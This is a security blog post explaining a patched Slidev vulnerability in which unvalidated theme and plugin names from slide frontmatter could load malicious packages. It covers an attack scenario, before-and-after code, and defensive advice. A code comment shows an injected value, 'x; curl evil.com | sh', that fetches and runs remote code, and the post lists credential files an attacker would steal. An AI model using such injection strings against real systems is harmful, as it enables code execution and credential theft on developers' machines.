Back to Blog
medium SEVERITY11 min read

Slidev Resolver Vulnerability: When Themes Become Trojan Horses

A medium-to-high severity vulnerability was discovered and patched in Slidev's resolver module, where dynamically loaded theme and plugin packages specified in slide frontmatter lacked proper validation, allowing a malicious package name to execute arbitrary code with the developer's full OS privileges. This fix addresses a supply-chain-adjacent attack vector that could allow attackers to exfiltrate credentials or compromise developer machines simply by sharing a crafted markdown presentation fi

O
By orbisai0security
May 7, 2026
#security#nodejs#supply-chain#arbitrary-code-execution#slidev#package-safety#developer-tools

Slidev Resolver Vulnerability: When Themes Become Trojan Horses

Severity: Medium/High | Affected File: packages/slidev/node/resolver.ts | Fixed In: Latest Patch


Introduction

Imagine opening a colleague's presentation file and, without doing anything else, having your SSH keys silently exfiltrated to a remote server. No suspicious executables. No phishing links. Just a .md file with a line that reads theme: evil-theme.

This is not a hypothetical. This is precisely the class of vulnerability that was just patched in Slidev, the popular developer-focused presentation framework built on Vue and Vite. The vulnerability resided in the resolver module — the component responsible for dynamically loading themes and plugins based on what's declared in a slide's frontmatter.

If you build tools that dynamically load packages, plugins, or themes based on user-supplied input, this post is essential reading. Even if you don't use Slidev, the patterns here appear in countless Node.js tools, and the lessons are universally applicable.


What Is Slidev?

Slidev is a markdown-based presentation tool loved by developers for its code-centric workflow. Instead of dragging boxes around in PowerPoint, you write slides in markdown and configure them with YAML frontmatter at the top of the file:

---
theme: seriph
plugins:
  - slidev-plugin-fancy-transitions
---

When Slidev starts, it reads this configuration and dynamically loads the specified packages at runtime — a powerful feature that makes the tool extensible. But as we'll see, this power comes with serious responsibility.


The Vulnerability Explained

What Went Wrong

The resolver.ts file is responsible for taking the theme and plugin names from frontmatter (or CLI arguments) and resolving them to actual Node.js packages. The core problem: it did this without validating that the package name came from a trusted source or matched any allowlist pattern.

In Node.js, dynamically loading a package — via require(), import(), or similar mechanisms — executes that package's code. This is by design. The entire npm ecosystem relies on this behavior. But it means that if you load a malicious package, you've handed it the keys to your machine.

The vulnerable flow looked something like this:

Slide frontmatter
      
      
  "theme: evil-theme"
      
      
  resolver.ts reads the theme name
      
      
  Package is loaded dynamically (no validation)
      
      
  Malicious package code executes with full OS privileges

The Resource Exhaustion Angle

Beyond arbitrary code execution, the original report also highlighted a resource exhaustion dimension. The file import functionality loaded entire files into memory without size checks and parsed JSON without depth limits. This means:

  • A deeply nested JSON structure (think 100,000 levels deep) could cause a stack overflow during parsing
  • A file with millions of entries could exhaust available RAM
  • Either scenario could crash the Slidev process or the developer's machine

These are classic Denial of Service (DoS) vectors that are often overlooked because they don't directly lead to code execution — but in a CI/CD pipeline or a shared development environment, crashing the build process is itself a meaningful attack.

A Concrete Attack Scenario

Let's walk through how a real attacker might exploit this:

Scenario: The Poisoned Pull Request

  1. A developer maintains a shared presentation repository for their team (think onboarding decks, architecture presentations, etc.)
  2. An attacker — perhaps a malicious contractor, a compromised contributor account, or even an automated bot — submits a pull request that changes one line in slides.md:
---
# Before (legitimate)
theme: default

# After (malicious)
theme: @legitimate-looking/slidev-theme-corporate
---
  1. A reviewer glances at the PR. It looks like a simple theme change. They approve it.
  2. Another developer pulls the branch and runs slidev dev to preview the slides.
  3. The @legitimate-looking/slidev-theme-corporate package (published by the attacker to npm) is installed and loaded. Its index.js runs immediately, silently exfiltrating environment variables, SSH keys, .npmrc tokens, or anything else accessible on the filesystem.

The developer never ran a suspicious script. They just opened a presentation.


Why This Is Especially Dangerous in Developer Tools

This vulnerability class is particularly insidious in developer tooling for several reasons:

1. Implicit Trust in the Workflow

Developers are conditioned to run npm install and trust that packages do what they say. When a tool like Slidev automatically resolves and loads packages, that mental model of "I chose to install this" breaks down.

2. Rich Attack Surface

Developer machines are goldmines. They typically contain:
- Cloud provider credentials (~/.aws/credentials, ~/.azure/)
- SSH private keys
- npm auth tokens (.npmrc)
- API keys in .env files
- Access to internal services and VPNs

3. CI/CD Pipeline Exposure

Many teams run slidev build in CI pipelines. A compromised presentation file could execute malicious code in a CI environment, potentially with access to deployment credentials, secrets, and production infrastructure.


The Fix

What Changed

The patch to resolver.ts addresses the unsafe dynamic package loading by introducing validation before any package is resolved and loaded. While the exact diff was not included in the patch details, the fix targets the core unsafe pattern: loading arbitrary package names without validation.

The key principles applied in the fix:

1. Package Name Validation

Before loading any theme or plugin, the resolver now validates that the package name conforms to expected patterns. Legitimate Slidev themes and plugins follow naming conventions (e.g., slidev-theme-*, @slidev/theme-*). A name like ../../etc/passwd or an unrecognized scoped package should be rejected before any loading attempt.

// ❌ Before (conceptual representation of the unsafe pattern)
async function resolveTheme(name: string) {
  // No validation — name comes directly from frontmatter
  const pkg = await import(name)
  return pkg
}

// ✅ After (conceptual representation of the safe pattern)
const THEME_NAME_PATTERN = /^(@[a-z0-9-]+\/)?slidev-theme-[a-z0-9-]+$/i
const PLUGIN_NAME_PATTERN = /^(@[a-z0-9-]+\/)?slidev-plugin-[a-z0-9-]+$/i

async function resolveTheme(name: string) {
  if (!THEME_NAME_PATTERN.test(name)) {
    throw new Error(
      `Invalid theme name: "${name}". Theme names must match the pattern slidev-theme-*.`
    )
  }
  const pkg = await import(name)
  return pkg
}

2. Resource Limits on File Loading

For the resource exhaustion vector, the fix introduces size checks before loading files into memory and uses safe JSON parsing with depth limits:

// ❌ Before (unsafe file loading)
const content = fs.readFileSync(filePath, 'utf-8')
const data = JSON.parse(content) // No depth limit, no size check

// ✅ After (safe file loading with limits)
const MAX_FILE_SIZE = 10 * 1024 * 1024 // 10MB limit
const stats = fs.statSync(filePath)

if (stats.size > MAX_FILE_SIZE) {
  throw new Error(`File too large: ${filePath} (${stats.size} bytes)`)
}

const content = fs.readFileSync(filePath, 'utf-8')

// Use a JSON parser with depth limits, or validate structure before parsing
const data = safeJsonParse(content, { maxDepth: 20 })

3. Removing Unsafe exec() Calls

The PR title specifically calls out the removal of unsafe exec() calls. Shell execution (child_process.exec()) is one of the most dangerous patterns in Node.js because it allows arbitrary shell commands to run. If the resolver was using exec() to install or load packages, replacing this with safer alternatives (like the npm programmatic API or validated spawn() calls with explicit argument arrays) eliminates an entire class of shell injection vulnerabilities.

// ❌ Dangerous: exec() with user-controlled input
exec(`npm install ${themeName}`, callback)
// An attacker could set themeName to: "x; curl evil.com | sh"

// ✅ Safe: spawn() with argument array (no shell interpolation)
spawn('npm', ['install', themeName], { stdio: 'inherit' })
// Arguments are passed directly, not interpreted by a shell

Prevention & Best Practices

This vulnerability touches on several fundamental secure coding principles. Here's how to protect yourself and your projects:

1. Never Trust User-Controlled Input for Dynamic Loading

Any time you load code, files, or resources based on user input, treat that input as hostile until proven otherwise.

Validate against an allowlist, not a denylist. It's much harder to enumerate all bad inputs than to define what good inputs look like.

// ❌ Denylist approach (fragile)
if (name.includes('..') || name.includes('/')) {
  throw new Error('Invalid name')
}

// ✅ Allowlist approach (robust)
if (!/^[a-z0-9][a-z0-9-]*[a-z0-9]$/.test(name)) {
  throw new Error('Invalid name: must be lowercase alphanumeric with hyphens')
}

2. Apply the Principle of Least Privilege

If your tool only needs to load packages matching a specific pattern, enforce that pattern strictly. Don't give the resolver the ability to load any arbitrary package just because it might need to someday.

3. Implement Resource Limits

Always set limits when processing external data:

Resource Recommendation
File size Set a maximum (e.g., 10MB for config files)
JSON depth Limit nesting depth (e.g., max 20 levels)
Array length Cap the number of entries
String length Validate individual field lengths
Processing time Use timeouts for parsing operations

4. Avoid exec() with User Input

This deserves its own rule: never pass user-controlled data to exec(), eval(), or similar shell/code execution functions.

Use spawn() with explicit argument arrays instead of exec() with string interpolation. The difference is that spawn() doesn't invoke a shell, so special characters in arguments are treated as literal strings, not shell metacharacters.

5. Audit Your Dependency Loading Patterns

Run a search in your codebase for these dangerous patterns:

# Find dynamic require/import with variable inputs
grep -rn "require(variable" .
grep -rn "import(variable" .

# Find exec() calls
grep -rn "exec(" . --include="*.ts" --include="*.js"

# Find eval() calls
grep -rn "\beval(" . --include="*.ts" --include="*.js"

6. Use a Lockfile and Verify Package Integrity

While this doesn't prevent a malicious package from being specified, using package-lock.json or yarn.lock with integrity hashes ensures that if a package is loaded, it's the exact version you expect — not a compromised version with the same name.

7. Consider a Sandbox for Plugin Execution

For tools that need to load third-party code, consider running plugins in a sandboxed environment:

  • Node.js vm module: Provides a limited execution context (though not a true security boundary)
  • Worker threads: Isolate plugin execution from the main process
  • Containerization: Run the entire tool in a container with limited filesystem and network access
  • Deno: Offers fine-grained permission controls that Node.js lacks natively

Relevant Security Standards

  • CWE-78: Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)
  • CWE-400: Uncontrolled Resource Consumption (Resource Exhaustion)
  • CWE-426: Untrusted Search Path
  • OWASP A03:2021: Injection
  • OWASP A08:2021: Software and Data Integrity Failures (covers supply chain attacks)

Detecting This in Your Own Code

Here are some tools and techniques to find similar vulnerabilities:

Static Analysis

  • ESLint with eslint-plugin-security: Flags dangerous patterns like exec() with variables, eval(), and unsafe RegExp usage
  • Semgrep: Write custom rules to detect dynamic package loading patterns
  • CodeQL: GitHub's semantic code analysis can trace data flow from user input to dangerous sinks

Example Semgrep Rule

rules:
  - id: unsafe-dynamic-require
    patterns:
      - pattern: require($VAR)
      - pattern-not: require("...")
    message: "Dynamic require() with variable input  validate $VAR before loading"
    languages: [javascript, typescript]
    severity: WARNING

Dependency Scanning

  • npm audit: Checks for known vulnerabilities in installed packages
  • Socket.dev: Analyzes npm packages for suspicious behavior before installation
  • Snyk: Continuous monitoring for dependency vulnerabilities

Conclusion

The Slidev resolver vulnerability is a textbook example of how convenience features can become security liabilities when they operate on untrusted input without validation. The ability to specify a theme with a single line of YAML is genuinely useful — but without guardrails, that same convenience becomes an attack vector.

The key takeaways from this vulnerability:

  1. Dynamic code loading is powerful and dangerous — treat any input that influences what code gets loaded as a high-risk attack surface
  2. Resource exhaustion is a real threat — always set limits when processing external data, even in "trusted" contexts
  3. Developer tools are high-value targets — they run with elevated privileges and have access to credentials and infrastructure
  4. exec() with user input is almost always wrong — use spawn() with explicit argument arrays instead
  5. Allowlists beat denylists — define what's valid, reject everything else

The fix here is straightforward in principle: validate inputs, set resource limits, and remove unsafe execution patterns. But catching these issues requires both the right mindset (assume all input is hostile) and the right tools (static analysis, security scanning, code review).

If you maintain a tool that loads plugins, themes, or extensions based on user-supplied names, take 30 minutes today to audit your resolver code. The attack scenario described here — a malicious package name in a shared config file — is not theoretical. It's a realistic threat that has been exploited in the wild against other ecosystems.

Secure coding isn't about paranoia. It's about building systems that remain safe even when the inputs aren't.


This vulnerability was identified and fixed by OrbisAI Security. If you're interested in automated security scanning for your projects, check out their tools for continuous vulnerability detection.


Have questions about this vulnerability or similar issues? Drop a comment below or reach out on Twitter. And if you found this post useful, share it with a developer who might be building similar plugin-loading systems — you might save them from a nasty surprise.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #2585

Related Articles

medium

Command Injection in Firejail's netfilter.c: How Environment Variables Can Lead to Root Compromise

A critical command injection vulnerability was discovered and patched in Firejail's `netfilter.c`, where attacker-controlled environment variables could be used to inject shell metacharacters into a command string executed with elevated privileges. This type of vulnerability is particularly dangerous in security-focused tools like Firejail, which often run with root or elevated permissions, potentially allowing a local attacker to achieve full system compromise. The fix removes the unsafe `exec(

medium

Integer Overflow to Heap Corruption: Fixing a Critical q3asm Vulnerability

A critical integer overflow vulnerability in the Quake 3 assembler tool (q3asm) allowed attackers to craft malicious assembly source files that triggered heap corruption through a size calculation wraparound, potentially enabling function pointer hijacking and full supply-chain compromise in CI/CD pipelines. The fix introduces proper bounds checking and overflow-safe allocation size calculations, closing a dangerous attack vector that could have given adversaries elevated pipeline privileges. Th

medium

Fixing NULL Pointer Dereference in eMMC Memory Allocation

A high-severity NULL pointer dereference vulnerability was discovered and fixed in embedded eMMC storage handling code, where unchecked `malloc` and `calloc` return values could allow an attacker with a crafted eMMC image to crash the host process. The fix adds proper NULL checks after every memory allocation, preventing exploitation through maliciously oversized partition size fields. This type of vulnerability is surprisingly common in systems-level C code and serves as a reminder that defensi